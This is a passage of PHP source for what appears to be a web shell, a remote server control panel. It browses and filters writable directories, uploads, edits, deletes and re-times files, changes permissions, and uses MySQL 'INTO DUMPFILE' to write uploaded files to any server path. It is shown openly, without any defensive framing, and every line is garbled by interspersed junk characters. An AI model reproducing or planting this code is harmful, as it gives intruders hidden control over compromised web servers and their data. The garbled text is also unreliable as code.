- makehide('dir',$nowpath);0 s3 ?$ q) i& x5 I+ n! m/ ~1 b
- formfoot();
# i9 d# H7 L# c3 i. d - formhead(array('name'=>'fileperm'));
( p' P5 g, h- q - makehide('newperm');
: Q' Y( x2 d. {0 o: u - makehide('pfile');
: f6 D" u- l7 M) I+ W1 {' x1 _ - makehide('dir',$nowpath);
% ]: ~, ^; L6 |; K. R) n, Z5 ?- T+ y - formfoot();
3 W L: ]$ N& j/ ~) n7 U - formhead(array('name'=>'copyfile'));
4 P# N( J- K% V" k. c1 R* K; X: Q - makehide('sname'); d' v# Y9 h% V7 \8 U
- makehide('tofile');) j3 [4 i6 }. i- S1 k) O6 H$ x% B
- makehide('dir',$nowpath);
" z9 p0 w5 ^2 d( a) O - formfoot();% u. o( j0 H/ J/ u& k0 U# F
- formhead(array('name'=>'rename'));8 y% C5 ?- n. g2 o& {6 d0 S
- makehide('oldname');$ U& F) k% c5 O7 A, G3 {
- makehide('newfilename');- D+ X( E- Z; _, s* D
- makehide('dir',$nowpath);
& B# \! s' {0 J5 P - formfoot();
5 N6 r+ Z0 F+ P g8 }$ g - formhead(array('name'=>'fileopform'));% Y! X6 w, U5 ~3 ]
- makehide('action');' P' T+ E, k8 w G/ Y/ ]+ @
- makehide('opfile');
4 p; K2 n6 E# _4 a - makehide('dir');
/ P, B/ ^$ r# F - formfoot();
" O* l( `, G+ B3 ^* { -
! |6 ~, B- H% f6 {) l+ q - $free = @disk_free_space($nowpath);$ w* {6 y) |" Y. s
- !$free && $free = 0;
; V4 e0 L2 {" I+ w- f4 b - $all = @disk_total_space($nowpath);
, b$ n; n7 f) A3 b6 i7 S" Z2 d - !$all && $all = 0;
" i4 J; w# ]6 L" q7 A - $used = $all-$free;1 a# F* p/ C3 O! I
- $used_percent = @round(100/($all/$free),2);! _3 s6 H" N- A
- p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
7 n, F3 z1 Q% u5 P) n* P# d - + N9 H3 Z. m. J
- ?>
! T* i1 {+ ^6 p4 l4 C' j( H3 ~7 b - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
3 O6 e* L4 y9 h' j4 r6 _: o - <form action="" method="post" id="godir" name="godir">, N5 O' c/ |) n. ~5 g; [3 {
- <tr>
/ z! t# ^9 |9 f3 p- E* F - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
+ n2 x" z2 E3 }4 a - <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>' B/ I# g( p$ K7 V: H. k4 b- {% T
- <td nowrap><input class="bt" value="GO" type="submit"></td>
8 g' j4 p& c" l - </tr>2 |. A' Z' h8 K8 G" P/ o! q+ [5 ?
- </form># c7 [9 B) U; Z5 p
- </table>! O. n/ n& T0 o+ J8 H1 {
- <script type="text/javascript">7 n J/ H9 b7 ]0 T% t
- function createdir(){6 S& \) v, g9 e
- var newdirname;
/ y# U6 l$ x1 R) l - newdirname = prompt('Please input the directory name:', '');* P! @! S% U, V/ \% ?2 j: h
- if (!newdirname) return;. I& ?5 ]0 {5 @. u+ F
- $('createdir').newdirname.value=newdirname;
2 e; Y3 w8 @( m* u% p0 _& i& I! M) M) w - $('createdir').submit();( a5 U. h' T/ `- D [
- }, A$ }, p* \8 a$ d( s
- function fileperm(pfile){
$ I7 P- F% n7 p7 q$ B - var newperm;
! X. r$ R8 W s$ _8 [5 n - newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
9 A1 O5 D# ]* n2 V+ U+ ^) m. J5 ^ - if (!newperm) return;; B2 G) u7 @3 n4 ]6 e" p2 W4 [
- $('fileperm').newperm.value=newperm;3 m. F- o1 u4 v3 B
- $('fileperm').pfile.value=pfile;
. O- z9 F/ I( H7 A: ~ - $('fileperm').submit();
5 _, }; Z9 H; A. ` - }1 @% c, T3 F9 `- x* S) s
- function copyfile(sname){
! Q0 Y; i9 r3 D# M- |+ _ - var tofile;- `2 X$ P" \' }' g3 g: E4 L
- tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
0 k9 H& n' W7 t: ]2 E& j - if (!tofile) return;
+ l( L* o: Q% {$ A - $('copyfile').tofile.value=tofile;
& [- ~7 t0 J; g. r: a b- E - $('copyfile').sname.value=sname;
8 u( w8 G6 U: s - $('copyfile').submit();
2 \ V( ]$ z2 N - }
) X, c9 C& \% I8 C - function rename(oldname){
! J4 [! @: A; R% L# R - var newfilename;; O8 k% d4 X4 M# q8 ^' V
- newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
7 I+ g! | U7 _. { - if (!newfilename) return;; K+ n( d0 ?. ^2 t( m
- $('rename').newfilename.value=newfilename;
' m" \" h& e$ [8 L - $('rename').oldname.value=oldname;
4 C: ~$ O# u/ B3 o/ a0 o. k - $('rename').submit();% j. i& h1 \, ^/ Z/ C
- }& L, S) U( ]/ q, k
- function dofile(doing,thefile,m){: y: L4 d# V: [. S3 L, U$ l# O
- if (m && !confirm(m)) {
) L- Q; d3 s+ b% v% S2 B/ a; V - return;
+ a! T- y4 ~; k& Z" N) x - }7 n* O( q0 [5 i) v6 x5 R. ~
- $('filelist').doing.value=doing;" t) c" e5 D) Y: g7 h% b
- if (thefile){
' V5 w! C9 B- I - $('filelist').thefile.value=thefile;
3 L" a/ U m# [) c1 ^: v( h( @1 U - }+ u" |, b- I& E+ e$ ^7 @" l7 G% a: U
- $('filelist').submit();
% @' a0 S H- C1 ^, W+ B( G ~( z - }5 ?/ e$ U2 ?6 D" K* [. u' z+ e
- function createfile(nowpath){) R9 b' n, l3 Q$ M6 d2 b: A
- var filename;
; E! }- ?! x2 n3 ^4 m - filename = prompt('Please input the file name:', '');
z& L2 V& E3 b9 P. \. r - if (!filename) return;5 z9 f1 f1 H% u
- opfile('editfile',nowpath + filename,nowpath); l1 C; x# D" }' A; d, \8 l; f# ]
- }
6 W* c" `$ g2 _9 q0 ]" S5 T; _ - function opfile(action,opfile,dir){
, }- x5 w) v) y( C/ E - $('fileopform').action.value=action;
! B7 K0 T' l; w( @. I8 @ - $('fileopform').opfile.value=opfile;
3 X H+ N, W1 m2 M - $('fileopform').dir.value=dir;
. |' Y6 x$ [$ {) m5 \ - $('fileopform').submit();
9 ]3 s2 l, ?$ }- Y2 J( u - }! l; ?# R' Q8 [" h) D6 l
- function godir(dir,view_writable){
! ^$ J5 q) O0 G4 a' {7 `/ b - if (view_writable) {
& s9 A6 r+ Y) c" c - $('godir').view_writable.value=1;* l) B: `* {# \$ J4 f6 z R; H; u
- }
! N0 e9 I7 j) m - $('godir').dir.value=dir;
) O0 W" L3 U/ r& S# I4 K - $('godir').submit();
: U* W& B1 D0 ?) E9 Y$ m0 d$ ? - }
, b& V7 Y; n i6 Z: j- c: W- J - </script>' }; K" N% _# _; n5 T$ u
- <?php; s5 E, N5 D( d+ x9 u6 `5 x, C2 V6 e
- tbhead();) r2 q* O1 q+ r7 J1 [$ ~
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');& s$ f; b: t* r
- p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
5 D* U- U' C1 K: ^ - p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
. G, x$ \" y) \9 I - if ($view_writable) {
) M" E" E' g2 }% k - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
9 X% {. V6 M/ U `1 o* i- c @! _ - } else {( b# v5 N! L2 u
- p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
2 T' M& R) l5 l; ` - }
) J- i0 x2 S5 w6 q# V( \ - p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
/ b. X- ]* y* [4 @ - if (IS_WIN && IS_COM) {
+ B4 X* q6 m% E2 t - $obj = new COM('scripting.filesystemobject');
/ M8 j( |$ V5 z# d- B v3 O! J - if ($obj && is_object($obj)) {$ V5 ^/ Y b; B" }: p/ H$ K
- $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
+ S& X) W+ _, I- y6 m" } c1 k - foreach($obj->Drives as $drive) {% }) s# ^, Y! a% a
- if ($drive->DriveType == 2) {' C% o* ~6 `. }8 D
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).', f- j! e4 }8 @" I4 | z
- Free:'.sizecount($drive->FreeSpace).'
& G# i0 H- h; y - Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
% T" N. j6 k) z9 A' _# M, @ - } else {
7 V: j$ K3 C }) r. @, z - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');, o% a, V: T, d6 T& w! E
- }
' z0 e5 A9 X9 W* f( d - }
+ x- H7 J" v8 Q/ R" {% S3 R - }
" e+ F: B6 P( P2 @ {; S - }5 w% I% \6 H0 N- O; O
-
0 y) O5 S6 J5 Y+ J4 z - p('</td></tr></form>');
& u* p! y% J0 z! z - 5 M4 A2 l! g* P
- p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
9 E& m6 _. Y2 F y% Z - / Q5 {/ y+ I( O5 n F, @( k
- //查看所有可写文件和目录3 M# f' ^0 Y8 p5 A- z
- $dirdata=array();
, `; \& w1 f$ \; b9 ^/ ] y3 T - $filedata=array();1 w3 F& }9 \% J( d( I+ K) F1 a, C
- 7 m& c9 y8 G/ i& |) [3 }! ]% O
- if ($view_writable) {
1 \# u- `' r& Y1 M; q3 T - $dirdata = GetList($nowpath);0 E* B, {2 `" x) v$ o7 W& d% |( S
- } else {
0 G- m; T9 z+ q8 G - // 目录列表' Y8 P% J) ` ?9 p/ t6 l# ^- X
- $dirs=@opendir($dir);
. z! M9 {0 P* ]$ j2 C - while ($file=@readdir($dirs)) {
+ M5 ]& _! l2 G Q- v$ ?: _4 u2 Y - $filepath=$nowpath.$file;
4 Z% e. \ K; z8 w2 Q) _+ _ - if(@is_dir($filepath)){/ }* W" _! ?% l0 }* {# ]
- $dirdb['filename']=$file;; G- B. L2 f/ t1 Q5 Y: v+ y. J
- $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
. d; |) {' ]; |' ] - $dirdb['dirchmod']=getChmod($filepath);
3 V2 ]4 w& k8 [, T - $dirdb['dirperm']=getPerms($filepath);
/ `" [1 l1 {4 f# o# |/ {& p - $dirdb['fileowner']=getUser($filepath);; B! `/ A p4 n8 i" v: r- m
- $dirdb['dirlink']=$nowpath;9 H0 w+ r+ V! S! f
- $dirdb['server_link']=$filepath;
. U1 _: k( q# M8 C: R; U - $dirdb['client_link']=ue($filepath);% q! s1 g5 {+ O! w' `% W6 }
- $dirdata[]=$dirdb;" N8 {. ~$ t$ p+ m+ }9 i( _
- } else { ) a7 T3 u* s7 t7 n* E8 k
- $filedb['filename']=$file;& _8 l8 ?# p4 f! N' Q# s- E+ A& }
- $filedb['size']=sizecount(@filesize($filepath));* I+ Z0 n+ N- [, t) F9 K5 Z; G
- $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
. e2 S$ e) F) v" Y$ } - $filedb['filechmod']=getChmod($filepath);
3 `& J0 n2 A) m& _ T% N0 y - $filedb['fileperm']=getPerms($filepath);5 ]. g: H( N8 ]% o! A2 M- _8 C7 E7 \
- $filedb['fileowner']=getUser($filepath);2 k0 ^7 C( E* Q9 m, `( z
- $filedb['dirlink']=$nowpath;! h! j% ~# u3 v- E9 W) e
- $filedb['server_link']=$filepath;
, U% g3 y) D5 O' x( [ - $filedb['client_link']=ue($filepath);
) F9 r' P, |# f - $filedata[]=$filedb;- Q- j% e5 t6 `8 \" u
- }8 Y* @3 o& w: @0 ]5 v
- }// while
5 r- p# C& f a |. |6 ]6 A3 n - unset($dirdb);% ^5 r# w, F( {
- unset($filedb);! |+ w3 `( x* ~+ F# e
- @closedir($dirs);
8 {; {1 U8 j" w+ v0 U% F - }
: _4 p' w: P: R, z X - @sort($dirdata);
: |7 O1 g2 I) x* | - @sort($filedata);$ C% `& |/ \7 y- z9 @
- $dir_i = '0';
. O) C+ j3 n+ Q: e" k: f% I( G - foreach($dirdata as $key => $dirdb){0 q5 }3 }1 R$ ]* L" m
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {, W) F: H/ h6 ^! q
- $thisbg = bg();
, o8 @/ x+ T0 b z; p9 |+ x& ` - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" A. z' T$ V& X& [/ w* J" X: v
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
* f- E* z$ P2 V7 U! W - p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');) g4 K0 n+ _+ T1 y$ y# L; b
- p('<td nowrap>'.$dirdb['mtime'].'</td>');# R8 `$ X0 f- `0 n$ Z5 X8 T/ ~
- p('<td nowrap>--</td>');8 j7 `: f! s! `: k. ~0 q0 c. I
- p('<td nowrap>');
( h: W4 u" d. n0 g: U& ^* a - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');/ ]& M& @+ K* I% s% h1 f+ k
- p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
& U# ~2 i. [( g- W - p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
( H4 E9 t5 S; d# b( O* ~, i4 z - p('</tr>');
/ G; f: N, a' M+ r: K5 c1 _ - $dir_i++;3 a5 `3 q2 B% f4 l! b
- } else {
0 x. Z, g' b4 X* d. p7 \ - if($dirdb['filename']=='..') {
$ u1 }; ~6 ]# C) S9 | - p('<tr class='.bg().'>');
. c0 I) x" I* \ |7 E4 X - p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');' L; y- V0 h% \$ i' C
- p('</tr>');; g% i# L6 y+ z) X. d
- }' i+ G7 }# V- b3 O' f# B ^! P
- }/ d9 P0 N+ X2 A( c) N
- }
$ ] I0 I5 |1 l$ y -
5 j% J6 x, `# K! b( x - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
5 O3 T- Q" `" `1 W* V4 B - p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
{' R/ l9 I5 v$ }2 p - makehide('action','file');
0 f" F/ @4 q" m3 w* G( b - makehide('thefile');
7 O6 t2 V- ~( H( r - makehide('doing');
' c0 @* m' R2 H - makehide('dir',$nowpath);7 o3 J0 G9 I' ^3 F
- $file_i = '0';3 X! h; h/ E0 X, k% ^
- foreach($filedata as $key => $filedb){! C/ G1 a/ _) `- U$ e. a
- if($filedb['filename']!='..' && $filedb['filename']!='.') {( q3 Q, D6 x; {$ C
- $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);. D. K6 b/ P* K- ^5 O2 @7 G# a4 z) p
- $thisbg = bg();$ K( ^4 Q4 h- P6 D( q8 v8 ?1 l) L* I
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
; o) K+ X: ?, g$ x$ W4 a/ @ - p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');6 Y/ U3 l) b, h% i% x6 c) z: w
- p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');: n5 h/ b% Q8 k* S9 `
- p('<td nowrap>'.$filedb['mtime'].'</td>');7 A u. G$ Y. `! k
- p('<td nowrap>'.$filedb['size'].'</td>');
) G6 V6 \& c/ E ]6 _0 G1 P% D - p('<td nowrap>');: H- S; {" S7 L; E& i G
- p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');" }4 t5 y2 Z$ ?) k
- p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
, ?. }. `1 q/ X* a' s1 c, m - p('<td nowrap>');/ c' @: ?( H8 J$ H H/ X+ {* F& S
- p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');7 R8 _7 P( S) T$ N# g
- p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');0 v, w5 e7 [/ @
- p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
: T# m3 S" ]+ T1 G9 J$ _8 T0 D - p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');1 Y7 J7 u/ B) p
- p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
5 h- g" Q* ^) ]2 u8 ]7 B$ t - p('</td></tr>');
( _7 T: o& Y: | - $file_i++;7 P! q& q& y! ]3 ?2 E* S i
- }
) ^* o( n3 |5 H$ D - }! e4 M5 I: Q0 E0 g- Y7 Z$ D8 J
- p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
* J& j o; u; }6 g - p('</form></table>');0 @- D D9 V2 d" e0 }6 ^
- }// end dir
1 ?, P) k( m ?/ v. b - . x, H$ ?$ y. ~( J' r" B9 J7 V
- elseif ($action == 'sqlfile') {
% r) y6 b) y2 y Q/ X' v4 m' ]! p - if($doing=="mysqlupload"){. Q1 n9 w& o) \, X W
- $file = $_FILES['uploadfile'];! s0 O3 c- _+ O! h/ b- x; i1 I
- $filename = $file['tmp_name'];
: s( P( P2 P9 S" O w- Y: x - if (file_exists($savepath)) {3 k8 y/ g0 G& i
- m('The goal file has already existed');5 A: L$ E1 [& l% Y8 X
- } else {; Y' r: |; |4 R+ N# q: R
- if(!$filename) {
5 I* J# k- W. b0 K+ q - m('Please choose a file');8 w, f# ]* u: E- W; B
- } else {: F# v+ y9 t5 B3 A* v; h
- $fp=@fopen($filename,'r');' v+ T/ m9 \$ I/ f# H% U; K$ K
- $contents=@fread($fp, filesize($filename));+ n5 n7 y! z4 i: o0 q
- @fclose($fp);
* ]# z, p- h, i. c7 W8 j9 w - $contents = bin2hex($contents);" G% P3 I; T2 U* C
- if(!$upname) $upname = $file['name'];
& Z: I9 \9 B# J - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
* B# |7 Z- C' Q/ t; }7 i* T - $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");' k( w/ i: C9 m" b" p4 {
- m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());& H+ j" A1 b- _9 M* A1 T# a2 S5 r
- } R6 H$ P3 H3 V
- }3 M1 R1 f, C3 Q
- }
' \. k6 N4 Z: S% j6 m - ?> K+ Z/ D Q* Y4 B
- <script type="text/javascript">$ x4 C7 Y1 V" ]2 n7 B3 d
- function mysqlfile(doing){
( L' [6 O: G, c$ X+ _ - if(!doing) return;
+ q+ p- b9 U- o - $('doing').value=doing;
0 G k# E2 [9 X2 T6 _( {7 x0 O- p - $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
Y( Z, S1 f( Y7 w1 I" d2 S - $('mysqlfile').dbport.value=$('dbinfo').dbport.value;0 l5 s: G! c- M4 T5 {
- $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;9 Z# D5 C& d7 l1 e! S* E9 q
- $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
* u; n, \ e8 a/ W9 |0 p - $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
0 y6 ?4 F1 f d5 l- I# z3 r6 { - $('mysqlfile').charset.value=$('dbinfo').charset.value;* ^, a8 y. o" r# c. B" g
- $('mysqlfile').submit();& `& n' X8 S# z1 _6 `
- }) j! o' K8 G# r5 N( ^6 N) n' }
- </script>, e4 U* |9 t U4 ?( m& L' t, r3 d/ R/ Z6 r
- <?php
; H. V- s: ~2 y1 V" w9 |4 L, ? - !$dbhost && $dbhost = 'localhost';
1 m; M3 i( X0 h9 @5 y - !$dbuser && $dbuser = 'root';' f: \+ L, v/ R$ n
- !$dbport && $dbport = '3306';$ |; W' v8 Y: I0 H3 z& J, G, n) a
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');! ^0 i8 s, `) F
- formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));! e) _( F6 H8 F$ Y4 L+ h
- makehide('action','sqlfile');. ]/ i3 N( l, y4 r' w7 v2 k
- p('<p>');
: X7 T! [" L6 a - p('DBHost:');# F% L8 b- B' Y# f5 Y
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
* z0 i# l0 F% V7 R% F6 _& u) ? - p(':');
+ Y: y" S5 s7 d8 J0 `1 t - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));6 o8 v {9 g5 I' `1 }& Q5 o
- p('DBUser:');
E3 |: H* q D/ O3 I4 e, j - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));- ]) j; r" {, e3 i+ b9 l
- p('DBPass:');( ?. E+ }; z& T' z$ o& ~+ K; R+ F5 @ d
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));5 [! m# [3 o1 ]* G
- p('DBName:');
- F7 q1 b e) T7 ^+ w - makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));6 H+ w' { H1 d2 @9 N6 n1 B7 ^
- p('DBCharset:');
8 [2 n. \: r2 ^: k - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
, G, H4 E5 T, g; ? - p('</p>');2 `, X6 x1 @& o D, w- g6 ?
- formfoot();
1 l1 D4 @% Q9 }: _8 \' p - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
- V7 X" e* z5 h - p('<h2>Upload file</h2>');
0 b8 j* G x3 v7 B) ], O - p('<p><b>This operation the DB user must has FILE privilege</b></p>');+ V8 ~" ^/ v. }. @8 w' v
- p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
/ e& i) K1 ^1 I' K, ^ - p('<h2>Download file</h2>');
2 R9 M! f* ? T5 n0 j5 N; r/ p - p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
& N2 g5 B+ w3 h6 Q - makehide('dbhost');
7 y2 t6 H, |' g( r' z; v! }; S - makehide('dbport');6 n. Y9 U" z- q I8 c6 i. V
- makehide('dbuser');) S) h7 i3 x/ a+ X* s) V3 O3 p% ?' b
- makehide('dbpass');7 j7 F% H2 c0 v
- makehide('dbname');# K0 i+ _- |, N7 z
- makehide('charset');9 {1 I: ^5 \5 F+ e4 g
- makehide('doing');1 B5 w9 R# }4 G, V8 t
- makehide('action','sqlfile');
6 ]* G/ c2 \3 c' `4 ]0 m - p('</form>');$ G! n% L. F, ?' `) G
- }
3 F7 ^9 d9 e, y8 y* c/ N9 E2 F - * _) b$ x* p2 H$ q$ h+ ^& I' x
- elseif ($action == 'sqladmin') {
+ U* b$ y# Y$ v( y6 U. E - !$dbhost && $dbhost = 'localhost';
+ L* P$ A( R; g0 E* H8 E: L2 E9 \2 Y - !$dbuser && $dbuser = 'root';' @+ f3 {0 E z
- !$dbport && $dbport = '3306';
# t: I7 S6 _, r8 F - $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
, z# D- h: P$ Q- J( s - if(isset($dbhost)){+ W3 B+ s- V+ h9 ^/ B' V
- $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";( [- r$ p8 a$ F6 {; a4 H
- }
2 g0 v E5 M& S* S - if(isset($dbuser)) {( g" h" P" i% t. t/ p7 [
- $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
6 s% t4 v; B" a9 F3 _4 I - }
$ ?: D7 V% u5 i% `1 k - if(isset($dbpass)) {
: Q% g1 A1 E3 ~, l/ U" K - $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
0 l ~" }. ]$ t3 k4 u3 L - }( T# H' \6 Z* r/ G3 c
- if(isset($dbport)) {4 L! G1 I2 A% ~. x2 H9 I5 j
- $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";* d2 ?% v7 o3 n
- }
" Q7 |; b$ m) K) a6 J6 c - if(isset($dbname)) {
7 G6 I+ C4 ^3 @4 {* R - $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";0 h. t w' N1 R
- }3 D% c) W. H* ^: K+ i) k4 l. O% g
- if(isset($charset)) {
, d4 S5 g; k; r - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";) Z4 U1 \' n: i. k; U$ }; i" q( Y
- }
7 [' a* u2 C0 N4 L) x -
V" k- S! L# O1 c4 R) G6 ]9 z - if ($doing == 'backupmysql' && $saveasfile) {) F" F' j4 N! v1 i3 q* @
- if (!$table) {# H3 b) F" R {' c* P
- m('Please choose the table');/ T) v9 E7 _- c! X# \) y) _
- } else { e/ X, P4 \9 i4 c ^' F8 T
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);3 M0 ?# m* t7 U7 T# Y! a$ n1 @
- $table = array_flip($table);# J, y" Z9 `. S! S) D' k! A& y! Y: R
- $fp = @fopen($path,'w');
$ s1 i' g5 i# L: N' y; e1 K - if ($fp) {0 Z% J- T3 a, y0 ?! F. D
- $result = q('SHOW tables');3 @7 c; {+ `. F5 N
- if (!$result) p('<h2>'.mysql_error().'</h2>');, c2 |9 Z% Z) S8 p
- $mysqldata = '';
6 N5 d$ ^/ Y/ K) w3 D - while ($currow = mysql_fetch_array($result)) {2 G3 c8 p: P2 j/ J" E, q
- if (isset($table[$currow[0]])) {
8 P. J4 G7 b4 z) w7 ` - sqldumptable($currow[0], $fp);
: A8 V( q0 F. N- a2 h. n% v! O3 T - }
. z; C* L* \) \; K) c - }. _) t& U- i& T8 m2 e# [% w/ c D
- fclose($fp);0 w6 ?- I* g2 Y g
- $fileurl = str_replace(SA_ROOT,'',$path);* B% E5 _1 p: W# P! U
- m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
7 _1 p/ G3 V! J6 K% m. @ - mysql_close();
, S9 x; H* J& I1 J - } else {. z( ~( a# S# A0 ?4 L# \1 L
- m('Backup failed');; n! | h' k- d6 W# M& {8 [
- }
0 p* V5 `0 F% ?& R% D2 V* ~* X - }- _8 c9 U9 m A8 P& T) F; }
- }: c8 L5 N) T5 ~3 G! A7 [
- if ($insert && $insertsql) {
) y2 r2 I: E, L' ]* ]1 z s - $keystr = $valstr = $tmp = '';% |( \* U8 O# c$ {9 k5 w7 s
- foreach($insertsql as $key => $val) {; P0 H0 _' }2 C9 n' n) z3 K) N
- if ($val) {
' p2 v. n9 e3 u# r* l5 B, t: S% } - $keystr .= $tmp.$key;
; g- O+ k4 c1 ^% l$ p - $valstr .= $tmp."'".addslashes($val)."'";
) \/ \( q6 A9 d! K. T/ n( e% i - $tmp = ',';
: j! [. c7 p5 j& c - }
) k5 `6 S- ?8 T/ f6 \/ |$ u h - }. E# |% d" j6 l1 y3 k, b# D4 Y8 Q9 e
- if ($keystr && $valstr) {1 \- f+ }- ]" z
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);# L4 r( i: H% B4 r; R
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1 P/ L5 |4 g. M- X% R( P8 q$ X0 K - }3 t$ N% X" {3 x0 y( m, t1 ~
- }) g( H, {& r+ g+ A& h
- if ($update && $insertsql && $base64) {7 T% D! T; @4 g: X
- $valstr = $tmp = '';3 ?0 u. d) u- a3 o
- foreach($insertsql as $key => $val) {" B/ O, m- O" V: ^
- $valstr .= $tmp.$key."='".addslashes($val)."'";" s$ k$ N1 K0 S7 J* \
- $tmp = ',';! J1 q( y0 i% n$ @
- }
2 R' R: s6 ~2 R' a* x - if ($valstr) {
% l' m$ h# ?" M - $where = base64_decode($base64);
?4 j$ Y i3 S9 p$ g) K6 Y - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);6 l7 a0 C! f& n! K
